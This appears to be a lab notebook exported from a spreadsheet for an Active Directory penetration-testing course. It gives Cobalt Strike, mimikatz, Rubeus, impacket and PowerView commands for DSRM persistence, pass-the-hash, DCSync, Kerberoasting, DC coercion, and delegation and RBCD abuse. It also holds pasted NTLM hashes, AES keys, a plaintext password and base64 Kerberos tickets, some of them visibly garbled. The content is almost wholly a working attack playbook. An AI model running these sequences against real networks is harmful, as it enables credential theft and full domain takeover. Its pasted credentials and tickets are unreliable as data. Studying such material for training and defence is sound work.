MvyQXlX+30hF1QsMV+0a0IHod+sVfjak3EogtIDRZqX5h94Lxd34BjtU4Ikhzjlt15cwu3G3lbVvIY0Gq+A0GpZw7m7d
Uw8dbHS13Et5k8VYTJGMkhrD3/5Fb2o4IBGjCCARagAwIBAKKCAQ0EggEJfYIBBTCCAQGGg4wgfswgfigKzApoAMCAR
KhIqG98MsMmiBvFDfkd/in4p7xNo/fUQdWKNgyTFBUATw+j3ChHBSaRE9MTEFSQ09SUC5NT05FWUNPULaUTE9DQUyiGj
AYoAMCAQGHETAPG6w1hZG1pbmLzdHJhdG9yowcDBQBgOQAAPREYDzIwMjYwNTI1MjI0NjQzWqYRGA8yMDI2MDUyNjA3Mz
Y0MFqNqERqPMjYyNjA1MzEwNjQ4MTBaQWbWbGkRPTExBUKNPULaUTU90RVLDT1JQLkxPQ0FMqS8wLaADAgECoSYwJBsGa3
JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTA==
```

CS Persistence

Domain persistence notes captured from the lab workbook.

domain persistence - DSRM

Overview

Source row 599 - columns A/B

- Notes:** -> dump the DC's local SAM
 -> extract the local Administrator / DSRM NTLM hash
 -> change registry so DSRM Administrator can log on remotely
 -> later use Pass-the-Hash to access the DC as DCORP-DC\Administrator

Get DSRM hash

Source row 600 - columns A/B

```
mimikatz !lsadump::sam
```

Turn on remote login

Source row 601 - columns A/B

```
shell reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrAdminLogonBehavior" /t  
REG_DWORD /d 2 /f
```

Confirm change

Source row 602 - columns A/B

```
shell reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrAdminLogonBehavior"
```

pass hash to new beacon

Source row 603 - columns A/B

```
pth DCORP-DC\Administrator a102ad5753f4c441e3af31c97fad86fd
```

Confirm access

Source row 604 - columns A/B

```
ls //dcorp-dc/admin$
```

domain persistence - dcsync

Command

Source row 607 - columns A/B

```
impacket-dacledit  
- add dcsync to user  
- using DA ntlm  
impacket-dacledit -action write -rights DCSync -principal student352 -target-dn  
'DC=dollarcorp,DC=moneycorp,DC=local' -dc-ip 172.16.2.1 -hashes  
:b38ff50264b74508085d82c69794a4d8 'dollarcorp.moneycorp.local/svcadmin'
```

dcsync

Source row 608 - columns A/B

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /all
```

Command

Source row 610 - columns A/B

```
execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe -s "(&(samAccountType=8  
05306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.11355  
6.1.4.803:=2)))" --attributes cn,samaccountname,serviceprincipalname --json
```

CS Kerberos General

General Kerberos ticket operations and Rubeus command patterns.

General

Pass ticket

Source row 613 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt  
/ticket:
```

View tickets

Source row 614 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist
```

ntlm -> TGT

Source row 615 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:student352 /domain:dollarcorp.moneycorp.local /rc4:NTLM_HASH_HERE /ptt
```

creds -> TGT

Source row 616 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:student352 /password:fdbK68gLZx69GgUH /domain:dollarcorp.moneycorp.local /ptt
```

ticket BOFs

kerberos_ccache_use

Source row 619 - columns A/B

Notes: Apply kerberos ticket from cache to this session

kerberos_ticket_purge

Source row 620 - columns A/B

Notes: Purge kerberos tickets from this session

kerberos_ticket_use

Source row 621 - columns A/B

Notes: Apply kerberos ticket to this session

Kerberoast

Kerberoasting discovery and execution notes.

ADSearch

Source row 624 - columns A/B

Context: - List kerberoastables

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/ADSearch.exe -s "&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" --attributes cn,samaccountname,serviceprincipalname --json
```

Specific Kerberoast

Source row 625 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast
/spn:MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433 /simple /nowrap /format:hashcat
```

Kerberoast ALL

Source row 626 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast
/simple /nowrap /format:hashcat
```

Crack kerberoast

Source row 627 - columns A/B

```
hashcat MSSQLSvc.kerberoast /home/kali/Tools/CRTP/kerberoast/10k-worst-pass.txt
```

CS Delegation

Unconstrained, constrained, S4U, and RBCD delegation workflows captured from the lab.

Unconstrained Delegation

Command

Source row 634 - columns A/B

```
LDAPSearch
- PCs with Unconstrained Delegation
ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))
--attributes samaccountname
```

Make token for user

Source row 635 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:appadmin /domain:dollarcorp.moneycorp.local /rc4:d549831a955fee51a43c83efb3928fa7 /ptt
```

Command

Source row 636 - columns A/B

```
jump to unconstrained PC
jump psexec64 dcorp-appsrv smb
```

2. Monitor for TGTs of connecting users

Source row 637 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe monitor
/nowrap
```

Coerce DC

Source row 638 - columns A/B

Context: - SharpSpoolTrigger

- Must compile
- does the same as MS-RPRN.exe

```
execute-assembly /home/kali/Tools/SharpSystemTrigger/SharpSpoolTrigger.exe DCORP-DC
DCORP-APPSRV
```

Coerce DC

Source row 639 - columns A/B

Context: - Windows Search Protocol (MS-WSP)

- must run many times

```
execute-assembly /home/kali/Tools/CRTP/WSPCoerce.exe DCORP-DC DCORP-APPSRV
```

Pass TGT to new process

Source row 640 - columns A/B

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetenonly
/program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:dyork /password:FakePass
/ticket:[TICKET]
```

steal token of new process

Source row 641 - columns A/B

```
steal_token [PID]
```

Confirm token identity

Source row 642 - columns A/B

Notes: run klist

Confirm new access

Source row 643 - columns A/B

```
ls \\lon-dc-1\c$
```

Revert

Source row 644 - columns A/B

```
rev2self
```

Kill new process

Source row 645 - columns A/B

Notes: kill [PID]

Constrained Delegation User

Constrained Delegation Users

Source row 648 - columns A/B

```
ldapsearch (msDS-AllowedToDelegateTo=*) --attributes samAccountName,msDS-AllowedToDelegateTo
```

Request as DA Administrator

Source row 649 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /domain:dollarcorp.moneycorp.local  
/impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt
```

Request alt service

Source row 650 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /domain:dollarcorp.moneycorp.local  
/impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt
```

CIFS - SMB session

Source row 651 - columns A/B

```
echo '172.16.3.21 dcorp-mssql.dollarcorp.moneycorp.local dcorp-mssql' | sudo tee -a  
/etc/hosts  
export KRB5CCNAME=$PWD/admin_cifs.ccache  
impacket-smbclient -k -no-pass  
dollarcorp.moneycorp.local/Administrator@dcorp-mssql.dollarcorp.moneycorp.local
```

Constrained -> EvilWinRM

Overview

Source row 654 - columns A/B

- Notes:** - host cannot be changed
- but service is changed to HTTP
- and user is changed to Administrator

request ticket

Source row 655 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /domain:dollarcorp.moneycorp.local  
/impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL  
/altservice:HTTP /nowrap
```

put ticket in file

Source row 656 - columns A/B

```
nano admin_http.b64
```

convert to kirbi

Source row 657 - columns A/B

```
cat admin_http.b64 | tr -d '\r\n\t ' | base64 -d > admin_http.kirbi
```

convert to ccache

Source row 658 - columns A/B

```
impacket-ticketConverter admin_http.kirbi admin_http.ccache
```

Add hosts to /etc/hosts

Source row 659 - columns A/B

```
sudo sh -c 'echo "172.16.2.1 dcorp-dc.dollarcorp.moneycorp.local dcorp-dc" >> /etc/hosts'  
sudo sh -c 'echo "172.16.X.X dcorp-mssql.dollarcorp.moneycorp.local dcorp-mssql" >>  
/etc/hosts'
```

create krb5.conf

Source row 660 - columns A/B

```
cat > krb5.conf <<'EOF'  
[libdefaults]  
    default_realm = DOLLARCORP.MONEYCORP.LOCAL  
    dns_lookup_realm = false  
    dns_lookup_kdc = false  
    rdns = false
```

```
[realms]
  DOLLARCORP.MONEYCORP.LOCAL = {
    kdc = dcorp-dc.dollarcorp.moneycorp.local
  }

[domain_realm]
  .dollarcorp.moneycorp.local = DOLLARCORP.MONEYCORP.LOCAL
  dollarcorp.moneycorp.local = DOLLARCORP.MONEYCORP.LOCAL
EOF
```

Command

Source row 661 - columns A/B

```
export required_files
export KRB5_CONFIG=$PWD/krb5.conf
export KRB5CCNAME=FILE:$PWD/dcorp-mgmt.ccache
export KRB5CCNAME=$PWD/dcorp-mgmt.ccache
```

see exact hostname caps case

Source row 662 - columns A/B

```
klist -e
```

evil-winRM

Source row 663 - columns A/B

Context: - hostname must match, i.e. if the .local is caps .LOCAL must be used for command

Notes: evil-winrm -i dcorp-mssql.dollarcorp.moneycorp.LOCAL -r DOLLARCORP.MONEYCORP.LOCAL --spn HTTP

Constrained Delegation PC

Command

Source row 666 - columns A/B

```
LDAPSearch
- Constrained Delegation PCs
- ALL constrained (user + PC)
ldapsearch (msDS-AllowedToDelegateTo=*) --attributes name,msDS-AllowedToDelegateTo
```

Command

Source row 667 - columns A/B

```
LDAPSearch
- Constrained Delegation PCs
- (PC only)
ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes
samAccountName,msDS-AllowedToDelegateTo
```

Confirm attribute

Source row 668 - columns A/B

Context: TRUSTED_TO_AUTH_FOR_DELEGATION

```
ldapsearch (&(samAccountType=805306369)(samaccountname=dub-web-1$)) --attributes
userAccountControl
```

Test if attribute is true

Source row 669 - columns A/B

```
[Convert]::ToBoolean(16781312 -band 16777216)
```

Command

Source row 670 - columns A/B

```
pth user of delegation PC
pth DCORP\srvadmin a98e18228819e8eec3dfa33cb68b0728
```

Command

Source row 671 - columns A/B

```
jump to constrained PC
jump psexec64 dcorp-adminsrv smb
```

Get AES

Source row 672 - columns A/B

Context: - if one doesnt work try other

```
mimikatz sekurlsa::ekeys
```

Command

Source row 673 - columns A/B

```
run s4u attack
- use /createnetonly:C:\Windows\System32\cmd.exe /ptt /nowrap
- and then steal_token to handle TGTs
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u
/user:DCORP-ADMINSRV$
/aes256:e9513a0ac270264bb12fb3b3ff37d7244877d269a97c7b3ebc3f6f78c382eb51
/impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.LOCAL
/altservice:ldap /ptt /nowrap
```

Attempt dcsync

Source row 674 - columns A/B

Context: - only works if u did the steal_token method (maybe)

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\krbtgt
```

Constrained -> DCSync

put ticket in file

Source row 677 - columns A/B

```
nano admin_ldap.b64
```

convert to kirbi

Source row 678 - columns A/B

```
cat admin_ldap.b64 | tr -d '\r\n\t ' | base64 -d > admin_ldap.kirbi
```

convert to ccache

Source row 679 - columns A/B

```
impacket-ticketConverter admin_ldap.kirbi admin_ldap.ccache
```

Add hosts to /etc/hosts

Source row 680 - columns A/B

```
sudo sh -c 'echo "172.16.2.1 dcorp-dc.dollarcorp.moneycorp.LOCAL
dcorp-dc.dollarcorp.moneycorp.local dcorp-dc" >> /etc/hosts'
```

create krb5.conf

Source row 681 - columns A/B

```
cat > krb5.conf <<'EOF'
[libdefaults]
    default_realm = DOLLARCORP.MONEYCORP.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false

[realms]
    DOLLARCORP.MONEYCORP.LOCAL = {
        kdc = dcorp-dc.dollarcorp.moneycorp.local
    }

[domain_realm]
    .dollarcorp.moneycorp.local = DOLLARCORP.MONEYCORP.LOCAL
    dollarcorp.moneycorp.local = DOLLARCORP.MONEYCORP.LOCAL
EOF
```

Command

Source row 682 - columns A/B

```
export required_files
export KRB5_CONFIG=$PWD/krb5.conf
export KRB5CCNAME=$PWD/admin_ldap.ccache
```

dcsync

Source row 683 - columns A/B

```
impacket-secretsdump -k -no-pass -just-dc-user 'DCORP/krbtgt' -dc-ip 172.16.2.1
DOLLARCORP.MONEYCORP.LOCAL/Administrator@dcorp-dc.dollarcorp.moneycorp.LOCAL
```

GenericWrite -> PC -> RBCD (not worked)

get TGT for user

Source row 686 - columns A/B

Context: - who has GenericWrite
- makes process (works)

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:ciadmin /domain:dollarcorp.moneycorp.local /rc4:e08253add90dccf1a208523d02998c3d  
/dc:dcorp-dc.dollarcorp.moneycorp.local /createnetonly:C:\Windows\System32\cmd.exe /ptt  
/nowrap
```

Command

Source row 687 - columns A/B

```
steal_token  
steal_token <PID>
```

import powerview

Source row 688 - columns A/B

```
powershell-import /home/kali/Tools/CRTP/PowerView.ps1
```

set RBCD

Source row 689 - columns A/B

Context: - using jumpbox machine
- doesnt work

```
powerpick Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-std352$' -Domain  
dollarcorp.moneycorp.local -Server dcorp-dc.dollarcorp.moneycorp.local -Verbose
```

Confirm RBCD

Source row 690 - columns A/B

```
powerpick Get-DomainRBCD -Identity dcorp-mgmt -Domain dollarcorp.moneycorp.local -Server  
dcorp-dc.dollarcorp.moneycorp.local
```

Triage jumpbox

Source row 691 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage
```

Get TGT of machine

Source row 692 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump  
/luid:0x3e4 /service:krbtgt /nowrap
```

S4u attack

Source row 693 - columns A/B

Context: - get CIFs for target RBCD

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/ticket:<BASE64_MACHINE_TGT> /impersonateuser:administrator /msdssp:cifs/dcorp-mgmt /ptt  
/nowrap /createnetonly:C:\Windows\System32\cmd.exe
```

Steal token

Source row 694 - columns A/B

```
steal_token <PID>
```

test access

Source row 695 - columns A/B

Context: - did not work

```
ls //dcorp-mgmt/C$
```

all Service Tickets

Source row 696 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/ticket:<BASE64_MACHINE_TGT> /impersonateuser:administrator /msdssp:cifs/dcorp-mgmt /ptt  
/nowrap /createnetonly:C:\Windows\System32\cmd.exe /altservice:cifs,host,http,wsman
```


GenericWrite -> PC -> RBCD (uses jumpbox) (worked)

Import Powerview

Source row 699 - columns A/R

```
. C:\AD\Tools\PowerView.ps1
```

Find rights of user over PC

Source row 700 - columns A/B

Context: - more of a confirmation
- bloodhound better for discovery

Notes: Find-InterestingDomainACL -Domain dollarcorp.moneycorp.local -Server dcorp-dc.dollarcorp.moneycorp.local | ?
{\$_ .IdentityReferenceName -match "ciadmin" -and \$_.ObjectDN -match "DCORP-MGMT"}

get TGT for user

Source row 701 - columns A/B

Context: - who has GenericWrite

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:ciadmin /domain:dollarcorp.moneycorp.local /rc4:e08253add90dccc1a208523d02998c3d
/dc:dcorp-dc.dollarcorp.moneycorp.local /nowrap
```

```
doIfZDCCBCigAwIBBaEDAgEWoolEuDCCBLRhggSwMIIErKADAgEFoRwbGkRPTExBUKNPUIAuTU9ORVI
DT1JQLkxPQ0FMoi8wLaADAgECoSYwJBsGa3JidGd0Gxpkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKO
CBFQwggRQoAMCARKhAwIBAQKCBIEggQ+zLAK27DYdQ1V36tPvrCfiWVMYyJBsAxMDsw+a9pMDNEw
0y8BrhdykenKzfix8t9oIqUl0feQNmnLdpin6a40qt82j3fgSBzED0mG+6Ep6sq2CojkRPMIZN7Tf+GaffA0sgAC
h2BaxndTgy1HCARNjwQCYjt+tyx92Mb2LUXrpYbHIWrbJDnYMyew+5MJAJJT/SdKhXOneidVsNnG+pvCu2
LI3wqZk8JD2cTunrH5AMdey0rHV0B5vfbF07mchF8SMGKAud3sh2LlM/zsokli6S70aEJ2qHUBFkqDuHltw4
znyTnN/9/8V1s9AhmbqLK3toM0R04AFDZjExB/30zWS+VSzxk3iItMgMJewL6JJJDjuWuuKFEFrLFD1MQkY
nKCF9Uz/wFp5JmFv4PEL+MtUWbCVc8eqzGOWS4c5DLf7gpfC49W+Bp+hxvblxoMqGKFoOJ1xUFoqqfLEO
IiKhA3i5MV9itXnM4WZVPeAohqWXXYxk/egtfUjghYSJUfss9w73u/N3oqfHIZ0zVfH7VGfof1ydJECJ/8jsHuiA/
2XbAWcYv9v+y/yI6KwHZcZ8+rtbPt+twQC++pDWpHXdUmHMBcMnX09tJVvGXR2KadN8ka77Ffj6ljsHcZ3H
a606S/oZ1WppDtfx020e1pwqdkJD2sg2I+7PiIvI8zt9wflxK2qwaULlrcfN/3DHUzE/22tHEE4D5ILATMEcuGM/
Q/s2W3TjJdSolzp0OCYJtrMKYITfAbZ2Aq9BNAz9Nt/kWOLK4tE7Kgdx/p3KECtp/RnXCDnaYAWxGN6xP5jt
+ve2YcWl3jeIQxfAWQSiLDqqlc+kZGBmWJl6iOJdbzZKGqCf3lGSeDHkXHL1/tFCNO2O5x6v6lptQfVSPG
QgBjg+nd34cU9dGdcqfzV5uaYCGeCYmv0cxyUMoGrJFGOmQWcZrnGX0WhQgPDp7m3PNbsAxoS4cGm
OSbqGSqiFyAcwNY0N+DH2uFxlCKpY2grAY20k+uhr+x5Y8/bt2c6ShuWirVH1uw9tRfipr5tLI8srnPqA4wM
v9q6Diq4STXf1ugoZxJ/v36nFelQN4YGtpQSgWyG5axj6XZiPov2Va68pMKajgVovAchF/L72n/5grxI21zulEnZ
qXrJxcDef5wPBTYwx8KhW01j9MPLn/56mcguyBZYIF0+GCWTrXdwHXI5IG9LIZ8UXgzu59qdnQIIJ1nSEOC
Z7DfhV2u3U8raxJAfjCaHZOatQiyPmMrmfnj0KJt/dSPJ1dTPC8WuV2NWQqeUNYtStm9YiB+M9Z8ZsIECN+K
lyU56Ps0RvnWFZzuI5a7MuidPh8iswmHn7MVwqKrZJmTXoCSHjlf9yFeGjLDLW2YmMmURZ+06kPHdA0Y
haAccwqg5L2S+Gp/uYbwbkPBy3gUeqS+DENyDSa3BXj1xuUOFBNB5QOXAqfco4H/MIH8oAMCAQCigfQEg
fF9ge4wgeuggegweUwgeKgGzAZoAMCARehEgQQJEaxJpAp3yGBgsPdJ115w6EcGxpET0xMQVJDT1JQ
Lk1PTkVZQ09SUC5MT0NBTKIUMBKGAwIBAAELMAkbB2NpYWRtaW6jBwMFAEDhAACIERgPMjAyNjA1Mj
cxNjU4NThaphEYDzlwMjYwNTI4MDI1ODU4WqcRGA8yMDI2MDYwMzE2NTg1OFqoHBsaRE9MTEFSQ09S
UC5NT05FWUNPUIAuTE9DQUypLzAtoAMCAQKhJjAkGwZrcmJ0Z3QbGmRvbGxhcmNvcnAubW9uZXIjb3
JwLmxvY2Fs
```

Set TGT as variable in terminal

Source row 702 - columns A/R

```
$ciadminTGT = '@'
PASTE_CIADMIN_TGT_BASE64_HERE
'@ -replace '\s',''
```

\$ciadminTGT = '@'

Source row 702 - columns C/D

```
$ciadminTGT = '@'
doIfZDCCBCigAwIBBaEDAgEWoolEuDCCBLRhggSwMIIErKADAgEFoRwbGkRPTExBUKNPUIAuTU9ORVLD1JQLkxPQ0FM
oi8wLaADAgECoSYwJBsGa3JidGd0Gxpkb2xsYXJjb3JwLm1vbmV5Y29ycC5sb2NhbKOCBFQwggRQoAMCARKhAwIBAQK
CBIEggQ+zLAK27DYdQ1V36tPvrCfiWVMYyJBsAxMDsw+a9pMDNEw0y8BrhdykenKzfix8t9oIqUl0feQNmnLdpin6a40
qt82j3fgSBzED0mG+6Ep6sq2CojkRPMIZN7Tf+GaffA0sgAch2BaxndTgy1HCARNjwQCYjt+tyx92Mb2LUXrpYbHIWrb
JDnYMyew+5MJAJJT/SdKhXOneidVsNnG+pvCu2Ll3wqZk8JD2cTunrH5AMdey0rHV0B5vfbF07mchF8SMGKAud3sh2Ll
m/zsokli6S70aEJ2qHUBFkqDuHltw4znyTnN/9/8V1s9AhmbqLK3toM0R04AFDZjExB/30zWS+VSzxk3iItMgMJewL6J
```

```
JDJjuuuuKFEFrLFD1MQkYnKCF9Uz/wFp5JmFv4PEL+MtUwbCvc8eqzG0wS4c5DLf7gpfc49W+Bp+hxvbIxoMqGKF00J1
xUfQoqfLE0tLkNA3i5Mv9itXnM4WzVpEaohqWXXYxk/egtFujghYSJUfss9w73u/N3oqfHLZ0zVfH7VGfof1ydJecJ/8
jshuiA/2XbAwcYv9v+y/l6KwH2Cz8+rtbPt+twQC++pDwPHXduMHMBcmX09tJvVgXR2KadN8ka77Ffj6IjsHcZ3Ha6
06S/oZ1WppDtfx020e1pwqdkJD2sg2I+7PilVI8zjt9wfIxK2qwaULlrCfN/3DHUze/22tHEE4D5ILATMEcuGM/Q/s2W
3TjJdSoLzp00CYJtrMKYITfAbz2Aq9BNAz9Nt/kw0LK4tE7KgdX/p3KEctP/RnXCDnaYAwXGN6xP5jt+ve2YcwL3jeIQ
xFAWQSiLDqqlc+kZGBmWjL6i0JdbzZKGqCf3lcGSeDHkXHL1/tFCN0205x6v6IpktQfVSP6QgBjg+nd34cU9dGdcqfzV
5uaYCGeCYmv0cxyUMoGrJFG0mqwCZrnGX0WhQgPdp7m3PNbsAxoS4cGm0SbqGSqiFyAcwNY0N+DH2uFxlCKpy2grAY20
k+uhr+x5Y8/bt2c6ShuWlrVH1uw9tRfipr5tLI8srnPqA4wMv9q6Di4STXf1ugoZxJ/v36nFelQN4YGtpQSGwyG5ax
j6XZiPov2Va68pMKajgVovAchF/L72n/5grxIZ1zulEnZqXrJxcDef5wPBTYwx8Khw01j9MPLn/56mcguyBZYlF0+GCW
TrXdwHXl5IG9L LZ8UXgzu59qdnQIIJ1nSEOCZ7DfhV2u3U8raxJAfjCaHZ0atQiyPmMrmfnj0kjt/dSPJ1dTPC8Wuv2N
WQqeUNYtStm9YiB+M9Z8ZsIECN+KlyU56Ps0RvnWFZzUi5a7MuidPh8iswmHn7MVwqKrZJmTXoCSHjIfd9yFeGjLDLW2
YmMmURZ+06kPHdA0YhaAccwqg5L2S+Gp/uYbwkpBy3gUeqS+DENyDSa3BXj1xuU0FBNB5Q0XAqfco4H/MIH8oAMCAQCi
gFQEgff9Ge4wgeuggegweUwgeKgGzAZoAMCAREhEgQQJEaxJpAp3yGBgsPdJ115w6EcGxpET0xMQVJDT1JQLk1PTKVZ
Q09SUC5MT0NBTKIUMBKGAwIBAAELMAkbB2NpYWRtaW6jBwMFAEDhAACLERgPMjAyNjA1Mjc+NjU4NThapHEYDzIwMjYw
NTI4MDI1ODU4WqcRGA8yMDI2MDYwMzE2NTg1OFqoHBSaRE9MTEFSQ09SUC5NT05FWUNPUlAUte9DQUypLzAtoAMCAQKh
JjAGwZrcmJ0Z3Q0bGmRvbGxhcmNvcnAubW9uZXljbjB3JwLmxvY2Fs
'@ -replace '\s', ''
```

Import ticket

Source row 703 - columns A/R

```
.\Rubeus.exe ptt /ticket:$ciadminTGT
```

Confirm imported ticket

Source row 704 - columns A/R

```
klist
```

Add our PC as RBCD

Source row 705 - columns A/R

```
Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-std352$' -Domain
dollarcorp.moneycorp.local -Server dcorp-dc.dollarcorp.moneycorp.local -Verbose
```

Confirm RBCD added

Source row 706 - columns A/R

```
Get-DomainRBCD -Identity dcorp-mgmt -Domain dollarcorp.moneycorp.local -Server
dcorp-dc.dollarcorp.moneycorp.local
```

Triage jumpbox

Source row 707 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage
```

Get TGT of machine

Source row 708 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump
/luid:0x3e4 /service:krbtgt /nowrap
```

```
doIGMjCCBi6gAwlBBaEDAgEWoolFFjCCBRJhggUOMlIFCqADAgEfoRwbGkRPTExBukNPUIAUtU9ORVI
DT1JQLkxPQ0FMoi8wLaADAgECosYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTKVZQ09SUC5MT0NBT
KOCBLlwgSuoAMCARKhAwlBAqKCBKAEGgScoFiYAE64m3PaVHRDevSDIDxLHO70Udric0Qals6Sj/OC3
EM0DtQgj59ul7/d18Fn2qOBoAa/+aXgtN4oyOPiFjC8RoQ+H/kkw1vkbTcateNJj2tnRdl8DUf6rxq79GeGUYB
EmtZt47PINSzSsJU0ghQBoeumEZZ2oHpuPYrQ2RZroo1Xj3dRkgMZGW9q4Felix7LUeCmHtHCD+2Bc+aS
Jsh16Lo5h/HmYqxzvcBhCGFa38h9mFSZloBD4l2fUurj11iCwQdHu0X+q+2RMTbYN9pDqZtqGpgZfviSCJtm
qQBBkfy2yqFOUAL8K2Vn5NPJCasyQEVALj+/iG4yBL3dUM95aVjBL5utBF76AE05UCidk1APkf2tyVR0sK5
ybMckuTYSVVjXUZcVYdiaaLDwJiZqSPkekFfWZuB5GdXutu9SZq7aMtf3odhOrXveUI/2393qT8Oi0hp5Y4YE
Ve08kKMFyHmC6YkcibmrIVbzj7hWVfipw/hs7laLt3E6q2p9e2sbxQtlo44gYQ/CRvFCSwm4El6serbR+e8yY
OIBoHlQpu9AdtZ+J001ofzazk+vzORfFU7htTS5VvmzGv4r36mMnGh3KA7whbcPJMTzsqSJgF6sfhjMoMSP
E/fKYVACYo1gdk2PGysbBljyWywE2AmsauYHtCIUyJ4wxj2HLf5S8eQR8aytSwWmd9BzY/cjBY1Z+g7U1k+
mnQqln2fXOaPEGPy/Q2HKx1RYSOEG3KLkWr9Q+TV0euVJ49FO/KhEaJEeNuYVVvw0DG5DM4kVMmwue
5tBjZ+6s01SiCaz/kzSF0VY0+yx5PxRAi7F4vY5uVo6RnpGuJwNgmDVimVftE7LH+WjXC0bsXQVGgaGulxA
K/6Q3RYJ0KqMvyim1kmpPjOPbDq7F+H+1tJkuveAlLopEdNcaiO64DwqkVQsl0pyJthxGpSNR/laav9xEV0
ekcROHySLRBlfSSlgFGNKR1st8++Bmg21zjpNvTut0fb26Ao+FN2g4IOM7bwW7rXMMCEdIYGyfJudBKQMd4
XgSvrS8mAlSt1Edtn8wxm5RCh9mKtXmByrPYOAT33aksf6XWaV9DUnpOFbyopAQMAelo/7FiLpNmzxJX
9UFTNO42LXPPmbg8wtFBfDJ6EVRP/za46G/VjTOeFaJqww2RmsEmYGX0FCAdnf1CNFJatSAY1e35ULHkl
esmcVekjofrIWWgSVQUHAvn0YRNNM8MyDiR6r2O2PtZy8luyPiFdf7E4FIZCaccZYVIFbADj00oSqwMfal02
OKKBZH/IJ37TSAU5dcOQL03aMgrxaXAVDzU+YHlfp6tImN5v0y8x6rMvf2YXiGG8rt/5kjeY2WBj4kw3A0vE
qGDOQJavfGzOmCj/ehknYa5AQRk7x1NVOfee/xo1OUt6MEhmxiHvvYaBXFhFDDYXCEeaRBQJ4lyvAnDAL
```

```
UnWFLmLpCi/wDTx/z/nOEUZxQKyRQRoiNtfeDOjFRZ3hkpD76frPMEqFv1wAJEHtbhugQNkmvVxVkhdyUj
BJ57UztAmfe5LeDUq6DdlLB+NAwhgcfMqOCAQYwggECoAMCAQCigfoEgfd9gfQwgfGgge4wgeswgeigGz
AZoAMCAREhEgQQcPMvkIIFmkPsUlqSMzuEF6EcGxpET0xMQVJDT1JQLk1PTkvZQ09SUC5MT0NBTKIa
MBigAwIBAAERMA8bDURDT1JQLVNURDM1MiSjBwMFAGChAACIERgPMjAynJA1MjcxNzA5NTlaphEYDzI
wMjYwNTI3MjMyODM2WqcRGA8yMDI2MDYwMzAzNTgzNFqoHBsaRE9MTEFSQ09SUC5NT05FWUNPUIA
uTE9DQUypLzAtoAMCAQKhJjAkGwZrcmJ0Z3QbGkRPTExBUKNPUIAuTU9ORVIDT1JQLkxPQ0FM
```

Add TGT as variable

Source row 709 - columns A/B

```
$machineTGT = '@'
PASTE_MACHINE_TGT_BASE64_HERE
'@ -replace '\s',''
```

\$machineTGT = '@'

Source row 709 - columns C/D

```
$machineTGT = '@'
doIGMjCCBi6gAwIBBAEDAgEwoIFFjCCBRJhggU0MIIFCqADAgEFoRwbGkRPTExBUKNPUIAuTU9ORVLD1JQLkxPQ0FM
